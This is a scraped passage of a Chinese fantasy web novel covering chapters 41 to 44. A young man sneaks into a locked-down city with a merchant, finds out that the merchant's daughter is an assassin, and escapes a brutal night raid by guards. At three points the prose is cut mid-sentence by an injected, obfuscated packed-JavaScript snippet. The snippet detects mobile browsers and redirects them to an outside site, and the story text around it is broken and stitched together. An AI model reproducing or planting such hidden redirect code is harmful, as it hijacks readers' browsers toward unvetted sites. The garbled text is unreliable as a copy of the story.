海勒姆止了话音,静静地观察宋云州,看着温暖的火光映上年轻人白净的面庞,冷峭山风吹动他乌黑的额发,将宋云州整个人衬得有些单薄和冷清。 海勒姆的目光不由自主地,落在宋云州一直握在手里的古银币上。 海勒姆蹑手蹑脚地站起身,避免吵醒宋云州,摸着黑走回停在山道边的货车旁,窸窸窣窣地在他的行囊里翻找着什么。 片刻后,海勒姆又轻手轻脚地靠近宋云州,展开他唯一一条厚实的毯子,轻轻盖在了宋云州身上。 41.两口之家 宋云州醒来时,天色微明,林间薄雾漫漫,鸟鸣尤为清脆。 宋云州活动了一下在朽木上靠了一夜、有些僵硬的脖颈,深吸一口清新且冷冽的空气,坐直了身体。 毯子从宋云州肩膀上滑落,他下意识伸手拉住。 毯子棕色为底,勾勒着深蓝色花纹,边角处磨损不少,有些破旧,但保暖效果真的不错,冰凉的山风吹了一夜,宋云州的手脚仍是暖的。 宋云州想向毯子的主人道谢,可一抬眼,眼前除了早已熄灭冷却的篝火,哪里还有其他人在。 宋云州连忙抓着毯子站起身,警惕地四处张望。 海勒姆害怕魔法,把他扔下自己偷偷跑走了倒无所谓,就怕真有那个兄弟盟会的人还在附近游荡,海勒姆又有危险。 宋云州攥紧古银币,一边探查四周有无打斗的痕迹,一边往山道上走。 海勒姆的货车停在原处,蔬果货物都还在,唯独拉车的马不见了。 连接马匹和货车的皮革绳索是被好好解开的,并未损坏,宋云州隐约猜出海勒姆去干什么了,放下心,把毯子放回货车里,站在车边静静等待。 片刻后,哒哒的马蹄声从林子里传来,草叶窸窣响动中,海勒姆牵着马走了出来。 海勒姆远远看到宋云州,马上露出了笑容,小跑几步赶过来,不好意思道:“我看那边有一片长得不错的马草,就寻思牵它过去吃几口。看你睡着就没和你说,抱歉让你久等了。” 宋云州自然不在意这些。 海勒姆重新套好马车,坐在车前握着缰绳和马鞭,宋云州则倚在一大筐土豆旁,赶在天光大亮前继续启程。 两人走走停停,在四天后的傍晚时分,终于眺望到了伦达奥城的轮廓。 熟悉的城池外形、镌刻着城池名讳的石碑、乃至围绕城池生长的金色鲜花,都和宋云州印象中的没有任何变化。 唯一的不同之处在于,曾经洞开的、任由行人随意出入的高大城门,而今紧紧闭合,城门前聚集了一群乞求入城而不得的人。 那个年轻歹徒在这一点上确实没有欺骗宋云州,伦达奥城真的戒严了。 不少无处可去的人,直接在城外的空地上搭建起临时的简易窝棚。 正值吃晚饭的时候,袅袅炊烟中飘出饭菜的香气。 海勒姆驱赶马车缓慢靠近城门,待在这里的人听到马蹄声,纷纷转头看向新来者,一眼扫过货车和车上的两人,又收回目光,去忙自己的事情。 聚集在城下的人群充斥着嘈杂议论,还有人将两手扩在嘴边,大声喊着话,试图和看守城门的士兵讨个商量。 宋云州跳下车板,站在人群外围,仰头上看。 高耸的城墙由砖石筑造,两座向外突出的土黄色瞭望塔,极具压迫感地矗立在城门两侧,将城门前的大片空地纳入它们的阴影之下。 士兵们穿戴着整齐的银白铠甲,笔直地立在城楼上站岗,居高临下地沉默注视着城下的民众,毫不理睬他们的请求或质疑。 宋云州就近找了个提着篮子的妇人询问情况,得知半个月前伦达奥城就戒严了,至今未开城门。 抓刺客抓半个月都没能抓到吗? 宋云州不太理解这城主究竟是怎么想的,若是抓不到难道整座城就一直戒严? 有没有可能刺客在戒严之前就已经逃出去了呢? 海勒姆也从旁人那里得知了大概,他悄悄拽了拽宋云州的胳膊,让宋云州和他一起退出人群,回到了货车上。 宋云州见海勒姆如此神神秘秘,直觉他有进城的办法,也不多问,任由海勒姆载着他驱车驶离。 暂栖在空地上的人们见这两人来了又走,只以为他们是放弃离去,没再分给他们更多关注。 海勒姆故意绕了一点远路,将马车往一条偏僻的山道上赶。 宋云州望着远处的城池,看出他们是在绕着伦达奥城的外围走。 海勒姆走出很远,确认四周无人了才跟宋云州说明他的意图:“前面就是伦达奥城的水门,我跟那的看守很熟,他没准能放我们进去。” 宋云州坐在车板上一知半解地点头,困惑地左右看了看—— 伦达奥城坐落于一片开阔的原野,根本不临任何河流或水源。 哪里来的水门? 片刻后,宋云州的疑问得到了答案,此水门非彼水门,指的是城市的一条下水道。 宋云州离得老远就闻到了直冲天灵盖的怪异臭味,成群的老鼠吱吱乱叫着跑动。 一般人没事根本不会往这边跑,怪不得守卫松懈呢。 海勒姆把货车停在不远处,让宋云州稍等。他率先淌水跑到下水道的铁门边和守卫交谈。 宋云州听不清海勒姆说了什么,只能看到他双手攥着铁门的栅栏,点头哈腰地陪着笑脸。 没过多久,海勒姆折身跑了回来,压着声音兴冲冲地向宋云州报喜道:“他答应放行了,但我要搬些蔬菜过去。” 宋云州下车帮海勒姆一起搬,一筐瓜果和两筐土豆,沉甸甸的满满三筐,换来铁门上的锁“吱呀”一声细响。 海勒姆再次跟那人道谢。 看门的是个瘦高的老头,头发花白了大半,拿着钥匙不耐烦地往里挥手:“废话少说,动作快点!” 马匹似乎很不情愿把蹄子踏进这不知由什么物质构成的黑水里,在海勒姆的鞭子驱赶下,才勉勉强强拖着货车,涉水通过了下水道。 伦达奥城的下水道高大宽阔,容纳一辆马拉货车通行绰绰有余,流淌的脏水只淹没了小半段马腿。 下水道中岔路繁多,四通八达,海勒姆几乎无需辨认就知道该往哪里走,像是曾经走过了无数次。 海勒姆看出宋云州的疑惑,主动解释道:“带着大宗货物从城门走,守卫是不会那么轻易让进的,且不说盘剥克扣,光是需要额外缴纳的税额就能压得人抬不起头来,所以就有了这条路。罗德,就是刚才那个守门人,只有他愿意忍受恶臭一直看守水门,为我们守着这条路。” 宋云州道:“可他找你要的报酬似乎也不少。” 海勒姆笑了笑,摇头道:“他什么都没要,是我自愿给的。他收养了好几个被弃养的小孩,生活……拮据得很。” “你知道吧,”海勒姆怕宋云州听不懂,隐晦地补充道,“这里是下水道,什么‘东西’被扔下来都不奇怪。” 宋云州没想到还有这样的内情,轻声赞同道:“那真是一个很好的人。” 海勒姆则将此归结为“百姓有百姓自己的活路”。 马车七拐八拐,走过漫长空洞的城市下水道,再经过一段上坡路,海勒姆终于带宋云州进入了伦达奥城。 任何地方都可以被划分为好与坏两个部分,海勒姆带宋云州来到了一个不是那么好的街区。 城中街道不复往日繁华,街上人流稀少,零星出行的人也都行色匆匆,低着头朝目的地快步行走,不想引起任何注意。 海勒姆都快到家了,才突然想起车后面还有个宋云州,他忙勒停马,扭身询问道:“真不好意思,忘了先送你。你想去哪儿?我这就带你过去。” 宋云州问:“城中有稍微便宜一些的旅馆吗?” 话问出口,宋云州猛然意识到,神殿还没给他发工资,他没有钱,再便宜的也住不起。 “城中旅馆的价格都算不上便宜。”海勒姆思考了一下,有些为难道,“而且现在戒严,可能对外来者较为敏感,你住旅馆不是很方便。” 海勒姆旋即提议道:“如果你不嫌弃的话,可以暂时住在我家里。” 这句话救了宋云州,他也觉得这是目前最稳妥和最经济的办法,刚想点头答应,就听一声脆生生的呼唤从街道的另一头传来—— “父亲!” 一位身穿亚麻色长裙的女孩子自远处飞奔过来,目的明确地朝向他们。 海勒姆在听到这声呼唤后,已立刻扭回身,跳下车站好,让跑过来的女孩子稳稳地扑进他的怀里。 呼喊声引来街边四邻的目光,绑着麻花辫的棕发女孩不顾海勒姆身上沾染的下水道的臭味,踮起脚紧紧拥抱住他,惊喜地撒娇道:“你怎么这么久才回来啊?我好想你!” 海勒姆的大手捋着女孩子脑后的头发,笑着说:“这不是回来啦,还给你带了好多好吃的!” 女孩子撒开环着海勒姆脖子的手,稍稍退开一些,抬头去看海勒姆的脸庞,却一下子看到了他头上的伤口。 女孩子脸上的笑容瞬间褪去,焦急问道:“你在路上受伤了?!” 女孩子红了眼眶,紧张地查看海勒姆的伤口。 海勒姆笑着安慰她说自己没事,轻描淡写道:“路上遇了强盗,幸亏有他救了我。” 海勒姆侧过身,把站在他身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200045|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后的宋云州让到女儿身前,介绍道:“这位是宋云州。” 女孩子立刻向宋云州鞠了一躬,诚恳道:“谢谢你救了我父亲,我叫多琳。你想要什么报答,我们都会尽力做到的。” 宋云州连忙道:“我不需要报答,就是可能要暂时借住在你家里一段时间,叨扰了。” “这个当然没问题!你想住多久都可以!” 女孩子大方爽快地一口应下,随即活泼地挽住父亲的手臂,央求着肚子饿,想赶紧回家吃饭。 海勒姆自打见到女儿,嘴角的笑容就没放下去过。他一手挽着女儿,一手牵着马缰,带宋云州一起往位于街道另一端的家走去。 海勒姆回到家,简单冲了澡,急急忙忙钻进厨房做晚饭。 宋云州同样洗过澡,换上一件海勒姆年轻时穿过的旧衣服,和多琳一起坐在餐桌前等待开饭。 多琳只是闻了从厨房中飘出的味道就知道:“是蘑菇浓汤!” 宋云州偷偷打量着坐在对面的女孩子,和海勒姆如出一辙的棕色头发,十五六岁的娇嫩脸庞,杏仁圆眼中蕴着光亮,透出不谙世事的天真与活泼生机,一看就是一个生长于爱中的小孩子。 海勒姆很快端来了三碗热气腾腾的浓汤,分别摆到几人面前。 “这可是我父亲的拿手菜!”多琳在一旁热情解说,“你快尝尝他的手艺,可好吃了!” 宋云州笑着点头,舀了一勺细腻的白色汤汁喝下,鲜香顿时在口腔中炸开,就算咽下喉咙,依旧齿间留香。 宋云州下意识想向海勒姆和多琳给出夸赞反馈,不料一抬眼,竟发现对面的多琳正直勾勾地盯着他看,眼神中是不属于她这个年纪的、冰冷的审视与警惕。 氤氲的热气模糊了女孩子的面容,宋云州以为是他眼花看错了,眨了下眼。 多琳生动的神情分明与先前别无二致,她笑着看向宋云州,期待地问道:“好吃吧?” 某些说不出的异样转瞬即逝,宋云州一时没能抓住。 吃过晚饭,海勒姆在储物室为宋云州开辟了一角空间,放上一张床垫,权当他临时的床铺。 这条件简陋得连海勒姆自己都看不下去了,他本打算让宋云州去他的卧室睡,换他来这里凑活凑活,但被宋云州坚决拒绝了。 连日奔波根本无法好好休息,现在好不容易安顿下来,宋云州早早告别海勒姆和多琳,回到储物室睡下。 不知为何,宋云州明明身体疲累得很,睡得却并不安稳,浅睡片刻便会自然醒来。 宋云州翻个身试图接着睡,但再醒来时仍是同一片月色。如此反复多次,他索性直接坐了起来,透过储藏室狭小的窗口向外望去。 夜已深,街道上人声俱寂,不时传来几声犬吠。 虽然过程曲折,但总算顺利地抵达了伦达奥城。接下来,该怎么寻找施术者呢? 宋云州用手指摩挲着两枚毫无反应的古银币,猜测它们会以怎样的方式带他找到施术者。 想了又想,宋云州找不到头绪。 也不知道布瑞德现在怎么样了,纳卡诺有没有好好对待它。 宋云州想起软萌温暖的虎崽,顿觉储物室冰冷憋闷得难以忍受,他起身去外面透口气。 房子里的灯火全都熄了,海勒姆和多琳已经各自睡下。 宋云州不想吵醒他们,没有点蜡烛,动作轻缓地走到房门边,意外发现房门竟是虚掩着的,并没有上锁。 这倒是方便了宋云州,他径直伸手摸向门把手,向外推开。 恰好就在此时,一个身披黑色斗篷的人影率先从外侧拉开了房门,轻灵矫健地闪身进来。 宋云州一惊,下意识后退了一步。 来者没带兜帽,多琳的脸赫然出现在宋云州面前。 多琳许是也没想到会在此时此地撞见宋云州,同样微微一惊。 两人默契地都没有发出多余的噪音。 宋云州不多问,只是露出一个微笑,体贴地轻声提醒道:“夜里风凉,斗篷记得系紧些。” 多琳甜甜一笑,什么都没说,自宋云州身侧错身而过,身影在墙壁转角处一晃,消失不见。 斗篷的边缘因多琳的动作微微敞开,露出了一角绯红色的裙摆。 宋云州借着月色瞥见一瞬,那颜色似乎有些不同寻常。 就像是—— 活的红色。 42.紧急搜查 宋云州垂眸望着半开的门缝中涌入的月色,静静思考了片刻,而后抬手推开门,离开了海勒姆家。 他看向左邻右舍,依靠有记忆性的标志物记下海勒姆家的位置,摸着黑往远离民居的地方跑。 宋云州最终停在一片用于堆积废弃物的小空地上,这是来时他在海勒姆车上注意到的地方。他谨慎地转身探查四周,确认无人跟踪后,转入了废弃物堆成的小山背后。 宋云州从口袋里取出一枚古银币,平摊掌心托住它,另一手拿出匕首,在银币旁侧的肌肤上划出一道血痕,幽绿色火焰冒了出来。 多琳的奇怪表现警醒了宋云州,这个女孩子并不像表面看起来那样简单。全城戒严下,她隐藏的秘密或许很危险,海勒姆家并不安全。 在危机真正出现之前,宋云州深知必须尽快找到自保的办法。 宋云州的格斗技术不行,如果只是依靠“别人接触到古银币会被烧死”这一个触发魔法的规则,他恐怕还没能带着古银币接近对方,就已经被刀剑击杀了。 当然也可以直接将古银币掷到对方身上,但这样做再想收回就难了。如果遭遇围攻,敌人绝不会好心留给他满地捡古银币的时间。 所以宋云州决定亲自试验一下,看看古银币上的魔力究竟能发挥到什么程度。 幽绿火焰跃动着修复伤口,宋云州随手捡起旁边的一本旧书,撕掉几页凑近火焰,纸张于眨眼间被烧成飞灰。 宋云州又拿起另外几样东西尝试,发现幽绿火焰只会烧掉普通火焰可以烧的东西,比如人、木头、纸张、棉布等,但金属不行,连熔化的迹象也没有。 就像他的这把匕首,和高个劫匪一起被烈焰焚烧,最后只是被烧毁了外鞘。 也是,这魔法能把一个大活人烧得那么干净,已经很厉害了,要是还能把金属也烧成飞灰,那岂不是…… 宋云州这么想着,正要移开置于幽绿火焰上的匕首。 没想到就在这一瞬,匕首竟然开始从尖端崩散,黑色灰烬飘飞,整把匕首消失在宋云州手中。 宋云州心神微颤,定定看着幽绿火焰熄灭。他福至心灵地想到了什么,急忙转身在杂物堆中翻找,艰难地找出两根小铁钉。 宋云州重新划破手,专注地盯着置于火焰上的铁钉,果然不出片刻,铁钉也被烧尽。 宋云州又另外找物品尝试,最后总结出规律:只要他心中笃定想烧,无论是什么东西,幽绿火焰都能将之焚毁。 他甚至可以凭意念操纵火焰,烧掉一本书中特定的某一页,而不损伤其他部分。 宋云州不禁感叹这魔法还挺智能,只需要用他的血引出幽绿火焰,在火焰治愈伤口的同时,他就可以进行攻击。 宋云州想试的都试过了,大致掌握了古银币的用法,张着手掌等待最后一点火焰燃尽。 幽绿光线下,他忽然发现掌心中的古银币看起来比之前新了不少,上面的腐朽黑斑有一小块好像消失了。 宋云州掏出另一枚古银币,两相对照后,确定手中这枚起了变化。 他凑近古银币仔细观察,看到幽绿火焰摇曳中,古银币上的腐朽痕迹随着魔法的使用,真的在一点点变淡消退。 宋云州合理推断,等两枚古银币光洁如新的那一刻,其上的魔法将不再有效。 他只有这两枚古银币,看来要省着用了。 宋云州仰头望了一眼即将西沉的弯月,抬步往回走去。 宋云州刚转回海勒姆家所在的街区,突然有凌乱的嘈杂声自街区的另一端传来。 宋云州循声望去,竟见连片的火光映亮了那一侧的天空,并在迅速向这边移动靠近。 遥遥传来的马蹄声中,夹杂着大量铁甲跑动时的摩擦声、与卫兵队列脚步跺地带来的震颤声。 有人在高声下令,听不清具体的内容,只有高昂粗犷的声调在天幕下回荡。 很快,银甲卫兵如潮水洪流般出现在宋云州的视野尽头,分散涌入各个街区,自然也有一队人马进入海勒姆家所在的街道。 数量众多的卫兵们高举着火把,红光耀目,处处皆预示着不祥。 卫兵们进入街道后,即刻开始挨家挨户地疯狂砸门,砰砰巨响犹如催命丧钟,令人头皮发麻。 一两声叫门不应后,卫兵们便凶神恶煞地破门而入,闯入居民家中搜查。 谁也不清楚这些卫兵在搜查什么,人们从睡梦中惊醒,惊恐地互相询问。 很快就有人被粗暴地推出家门,他们被反绑住双手,用剑尖指着、皮鞭抽着,赶上事先备好的木笼囚车。 尖叫、咒骂、求情、痛哭……各类声息此起彼伏。 人喊马嘶,鸡鸣犬吠,百十种杂音一时齐响,将静谧夜空彻底搅动成一滩浑浊的泥浆。 宋云州站在远处粗略看了一阵,心脏狂跳,他拔腿快速奔跑,冲回海勒姆家所在的小院。 就在宋云州正要进屋的时候,一墙之隔的邻居家忽地传来一声瓷罐碎裂的脆响。 宋云州转头看去,什么都没发现。来不及再耽搁,宋云州推门进屋,径直奔向多琳的房间。 多琳的房门虚掩着,燃烧的火光从中透出,伴着布料烧焦的糊味。 宋云州推门而入,背对房门蹲在地上的多琳猛地站起身,转身看过来,手中握着一柄尖刀。 多琳见来的是宋云州,举起的刀尖微微卸力放下,轻声质问道:“你想做什么?” 宋云州没说话,大步越过多琳,看向她身后燃烧的火盆,扔在里面的正是多琳今天穿的那条亚麻色长裙。 裙子被撕扯成了碎条,尚未燃尽的部分仍可见那绯红的色彩。 那是抬脚迈过横流四溢的血泊时,不小心沾染上裙摆的血迹。 窗外火把的亮光愈发趋近,卫兵们极具压迫感的脚步声带着尖叫来袭,几乎已经要走到他们的家门口。 没时间等火慢慢烧了。 宋云州一把拿过放在桌边的剪刀,刺破指尖,探手伸向火盆。 幽绿火光一闪,亚麻色长裙顷刻间燃烧成了微不可见的尘埃。 多琳的脸上显露出些微诧异,还没来得及开口,就听屋外传来一阵砸门的震响。 小院的破旧木门被一脚踹开,砸落在地,惊起灰尘无数。 四名卫兵随即闯了进来,冷着面孔将屋里的所有人驱赶到小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205723|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客厅中。 卫兵们屋里屋外翻箱倒柜地搜寻,无人想触他们的霉头开口询问。 海勒姆将多琳护挡在身后,和宋云州一起沉默地站在一边。 海勒姆刚才并不在他的房间里,卫兵们从停在后院的货车边搜到他,并将其带了过来。 宋云州站得离海勒姆稍近,他留意到海勒姆的短发上蹭着一些潮湿的泥土碎屑,而且海勒姆身上的衣服和吃饭时穿的不一样,干净整洁得像是全新的,但又不是睡衣。 宋云州暗想,大半夜不睡觉他又在做什么? 卫兵们翻找一圈,有个甚至往火盆中看了一眼,里面自然什么都没有。 几名士兵一无所获,鱼贯离开,接着去祸害下一家,徒留下被翻乱的一地狼藉。 直到动静彻底远去,站在屋中的三人才松了口气。 宋云州终于有机会看向多琳,压着嗓子低声问道:“是你做的?” 宋云州不确定海勒姆对此事是否知情,为给多琳留有余地,他没有直接挑明。 多琳静静地望向宋云州,佯装出的稚气消失,她的眼神沉着而安宁。 她点了一下头。 宋云州还未说什么,海勒姆抢先为女儿辩白道:“她没有乱杀人,那些都是该死之人。” 每个人做事都会有自己的理由,宋云州无意评判多琳行为的对错,只挑目前最主要的问题问:“死的是谁?” “应该只是几名卫兵?”多琳试图回忆但无果,迟疑道,“天太黑了,我没看清。” 宋云州问:“你独自动的手?” 多琳在杀人后像没事人一样跑回来,没惊动任何人,直到尸体被发现才引来满城搜捕。 这种情况只有两种可能能够解释—— 其一,多琳本身是一个能力绝顶的高手,能够以一敌多;抑或是,她还有其他得力的帮手。 多琳暂时保持了沉默,似是在思考是否要回答。 宋云州沉静以待,没有出言催促。 就在这时,甲兵碰撞的冷声再次自院外响起,宋云州三人同时转头,诧异看到卫兵们去而复返。 但这回来的不只是四个人,十几名士兵将海勒姆家的小小院落团团围住。 与之前几名士兵冲进来搜查不同,此时他们手中的兵器全部出鞘,白晃晃的剑刃直指屋内的三人。 一个尖嘴猴腮的男人站在包围圈外,身上穿的平民服饰与周遭的银甲格格不入,他信誓旦旦地向身边的卫兵们大声吆喝:“就是他们!我住在隔壁,亲眼看到那女人半夜披着黑斗篷从外面回来,神神秘秘的。” 男人指甲黑黄的手指犹如死神的镰刀,远远地指向多琳,随即划到宋云州身上:“之后换做他出去,不知道在外面捣鼓了什么,似乎有火光,肯定是烧掉了作案的证据!” 卫兵们听了那男人的话,看向屋内人的眼神凶光毕露。 不知是谁先起的头,靠前的几名卫兵径直冲入屋中,没给宋云州三人任何辩解的机会,亮着剑锋就朝他们劈刺而来。 宋云州看卫兵们的架势,不是要捉拿嫌疑人回去审问,倒像是早就打定了主意,想直接就地杀了他们! 43.第 43 章 宋云州还在努力挽回濒临崩溃的情势,厉声反驳道:“他拿不出任何证据,分明是想用凭空捏造的谎话诬陷我们!” 卫兵们充耳不闻,气势汹汹地一哄而上,其中有人嗓音洪亮地让他们死个明白:“城主有令,凡行迹可疑者,就地格杀!” 剑光挥至,宋云州三人立刻散开,各自躲避。 宋云州掀翻木质餐桌,用力向前推去,阻开冲他而来的卫兵。 多琳旋身追至海勒姆身侧,利落地从靴侧拔出尖刀,扬手挡住了卫兵刺向她父亲的剑刃。 尖刀与长剑相撞,发出金属碰撞的脆响。 多琳面貌虽然年轻,格斗的力量却根本不输成年男性。她肩背猛地发力,带动手臂横扫,竟直接击得对手后退了数步。 被多琳挥开的卫兵先是一愣,随即了然地冷哼一声:“你们果然有问题!” 海勒姆看着比多琳高出两头的卫兵,心惊胆战地不愿女儿与之对抗,连声提醒道:“快到后院去!” 多琳面无惧色,跨步上前,拦在一众卫兵面前。她稍稍活动被震得有些微麻的肩膀,脆嫩的声音平静地对海勒姆和宋云州道:“这里交给我,你们先走。” 海勒姆自知他留在这里也帮不上忙,反成拖累,依照多琳的话带着宋云州来到后院。他推开用作掩饰的板车,蹲跪在地上于黑暗中来回摸索,终于抓住了什么的一角,猛然一掀。 伪装成地面的布料带着盖在上面的沙土纷落,露出下方的两块木板。 海勒姆抽走木板,一个黑洞洞的地道入口暴露在宋云州的视线中。 海勒姆招呼宋云州先行进去,他自己则担忧地等待着多琳。 宋云州不会丢下他们先跑,同样关注着多琳那边的战况。 多琳已砍倒了一人,夺过那人的长剑,两手皆持握兵刃对敌。 多琳的招式娴熟,动作流畅,一看便知她受过极为严苛的专业训练。 宋云州毫不怀疑,如果多琳从暗处冷不丁偷袭,完全能独自杀掉好几名卫兵。 可现在的卫兵们有备而来,并且人多势众,一个人对抗到底还是势单力孤。 多琳且战且退,却总无法彻底脱离战圈。她牵制着卫兵们,也反被他们牵制。 宋云州苦于手边找不到任何尖锐物品,他抄起立在一边的一把铁锹,冲入战团,劲头十足地拍开了一名正打算偷袭多琳的卫兵。 出其不意的招数只能使用一次,立时就有两名卫兵反应过来,围向宋云州。 宋云州大幅度挥舞着铁锹,一时倒是能阻止敌人近身,但于制敌没有任何益处。 院外连片的火把仍在持续燃烧,并有越燃越亮的趋势,更多的卫兵在朝此处汇聚。 宋云州不想僵持太久引来更多敌人,心一横直接空手接了一次白刃。 利刃斩断肌理的剧痛切入骨髓,如注喷涌的鲜血引燃绿焰,宋云州伸臂将火焰向前送出。 没有任何温度的诡异火焰,眨眼间烧去了所有卫兵的兵器与铠甲。 卫兵们如同被定在原地,忘记了战斗,万分惊骇地摊开双手,低头看向身上发生的异样。 趁此时机,宋云州用另一手拽住多琳的手臂,将同样愣住的她带向地道。 守在地道外的海勒姆见他们脱险,激动地疯狂招手让他们快进地道。 多琳率先跃下,宋云州朝海勒姆唤道:“走!”随即也跳下垂直高度约有一米的直井。 海勒姆最后跃入地道,落地后立刻拉动早已设好的机关,潮湿的泥土失去支撑,地道入口的直井瞬间塌陷,掩埋了一切痕迹。 地面上的卫兵们被宋云州突然使出的魔法震慑,眼睁睁看着他带多琳逃离,无人敢再向前追逐。 与直井相连的是一条垂直于它的半人高地道,只能容纳人半跪着爬行通过。无边的黑暗中,逃亡的三个人只能听到彼此衣料的摩擦与呼吸声。 少许地下水渗透进来,泥土中的潮湿感浸润手臂与裤腿。 宋云州现在知道海勒姆头上的泥土是从哪来的了。 海勒姆没睡觉,一直在后院准备地道,临时换上的新衣服便是为了不让人察觉他蹭了一身的泥土。 是因为担心多琳的事情暴露,所以早在很久之前就开始做好准备了吗? 地道深邃幽长,方向感在这里完全失灵,前进许久仍没有光亮的迹象,不知道尽头会通向哪里,也根本想象不到海勒姆究竟花了多少时间精力在这上。 宋云州只希望它别一路通向城外,否则他还得想方设法再进城。 “你的手……怎么样了?”最前方的多琳突然开口,问身后的宋云州。 地道狭窄,多琳没法回头。刚才她正好瞥见了宋云州受伤的一幕,卫兵的那一剑凶险非常,险些斩去宋云州的半条手臂,有些放心不下。 宋云州的双手在短时间内数次划伤见血,他对于痛觉的感知几乎都已经麻木了。 他们已经在地道中行进了好一会儿,幽绿火焰仍缠附在宋云州的右臂上,兢兢业业地处理着深可见骨的伤痕。 这处伤口流的血确实不少,宋云州却没觉得有头晕眼花等失血过多的症状。反正有魔法在,他死不了,伤口也会愈合如初,连疤痕都不留。 宋云州不在意道:“没事,一会儿就会好。” 宋云州为防手臂上的火焰燎到多琳,刻意没有跟得太紧。 地道里空气稀薄,爬动久了难免出现缺氧导致的疲惫,没人再说话,坚持着往更远处逃。 不知又过了多久,一股十分熟悉的恶臭飘入地道,扑鼻而来,宋云州大概猜到这条地道通向哪儿了。 不出所料,宋云州很快从地道中爬出,双脚重新踩回了下水道的黑水里。 静谧的下水道里只闻流水淙淙和老鼠的吱吱声,它宛如一个大型迷宫,就算有追兵赶来,也没办法快速地在这里发现并成功堵截到他们。 暂时安全了,三人不约而同地松了一口气,稍作休息。实在没有地方坐下,只能将就着倚靠上下水道潮湿的砖石墙壁。 缓过一阵后,多琳自认是她导致了大家狼狈逃亡,主动说起她在晚上遭遇的变故:“我不过是和同伴约好碰面,商量之后的计划。不知道怎么泄露了行踪,突然冒出来一队卫兵来抓人,我们只好把他们全部杀了灭口,回到各自住处。” 不过几个卫兵而已,死无对证,多琳确认无人跟踪后就放了心,没想到会激起这么大的风波。 “如果目的是杀人,我不会穿我最喜欢的那条裙子去。”多琳声音中透着惋惜。 海勒姆连忙安慰道:“等这阵风头过去,咱们就去找城中最好的裁缝,再多给你做几条新裙子。” 多琳的情绪一下子高兴起来,眼睛亮亮地点头答应,强调道:“还要上回的那种颜色!” 平静的杀意和少女的欢喜雀跃,在这个女孩子身上神奇地共存了。 宋云州从多琳的话中听出端倪,问道:“你们商议的计划,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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巴隆没想到折腾了大半夜等来的竟是这样的消息,顿时怒上心头,朝城防守卫官怒吼一声,一掌重重地拍到了桌子上,砰然震响,令人胆寒。 在他手掌边,静静躺着一根纤长的黑褐色鸟羽。 巴隆一眼看见了它,越发来气,一把抓起将它撕扯得粉碎,猛力掷在地上。 议事厅中再次陷入压抑的静默,谁也想不出更好的办法了。 巴隆的神色阴晴不定,想到那笔不翼而飞的巨额税款,请出一尊煞神似乎也算不得什么。 就在巴隆准备传令去请阿伯文的前一刻,侍立在长桌最远端的高挑青年突然款步上前。 青年将一直端在手中的酒壶轻轻放置到长桌上,走到距巴隆五步之遥的地方站定,毕恭毕敬地行了一礼,开口道:“阿伯文大人事务繁忙,贸然相邀恐怕不妥,在下倒有一法,斗胆为城主分忧。” 巴隆猛地来了精神,立刻追问:“你有办法?” 青年的嗓音如清水流淌,徐徐而来,道:“魔法并非无懈可击,在下愿尽力一试。” 巴隆还是第一次用正眼看这名毫无存在感的宴会酒侍,此人倒是面容英挺俊俏,一表人才。 巴隆问:“你叫什么名字?” 青年眉眼低垂,答道:“在下诺兰。” “很好!”巴隆扬声命令道,“诺兰,我派给你一支人马,随你差遣,就算掘地三尺也得给我把税款找回来!抓住黑鸢军团的混蛋统统带到我面前,我要亲手剥了他们的皮!” 巴隆恩威并施,抛出极具诱惑力的奖赏:“事成之后,城防守卫官的位置换你来坐!” 诺兰静静听完巴隆的话,神色如常,波澜不惊地鞠躬行礼:“在下遵命,定不辜负城主所托。” 44.暗织罗网 明媚的日光从地面上的井盖缝隙间漏下,滴落在流淌的黑色水面上。 宋云州逆着水流向前迈步,激起哗啦哗啦的水声,他问走在前方的多琳:“你接下来要去哪里?” 多琳仰头望了望细碎的天光,无奈叹道:“也没有更好的办法了,先去找我的同伴吧,希望他躲过了搜查。” 下水道里没办法久待,没水没食物,外加持续不断的恶臭,双重挑战着人的生理与心理,他们必须尽快找到新的去处。 其实除了在城里打转,还有另外一种选择,他们可以直接从这里,走罗德看守的水门出城。 宋云州想到了,也就这么问了:“不打算出城避一避吗?” 多琳坚决地摇头道:“接下任务就不能更改,城主一定得死。” “不过……”多琳奇怪地看向宋云州,反过来问他道,“倒是你,明知现在这种情况,还要继续跟来吗?正常人应该早就避之不及了吧?” “那你就当我不正常吧。”宋云州莞尔一笑,并不解释。 多琳撇撇嘴,问不到就算了,将头转了回去。 几秒后,宋云州和多琳不约而同地转头看向了海勒姆。 正努力降低自己存在感的海勒姆:“……” 宋云州道:“我觉得我们应该先送你出城。” 多琳赞同道:“这样更安全。” 多琳和宋云州都有必须留下的理由,他们一致觉得海勒姆再跟着会很危险。 “我想走的话,戒严时就不会再混进城了。”海勒姆低头盯着水面,局促地双手交握,揉捏着手指,声音略微发涩,“我没什么能力,不能帮你们打跑卫兵。但我想着,万一遇到我力所能及的事,不就也能为你们尽一份力了。” 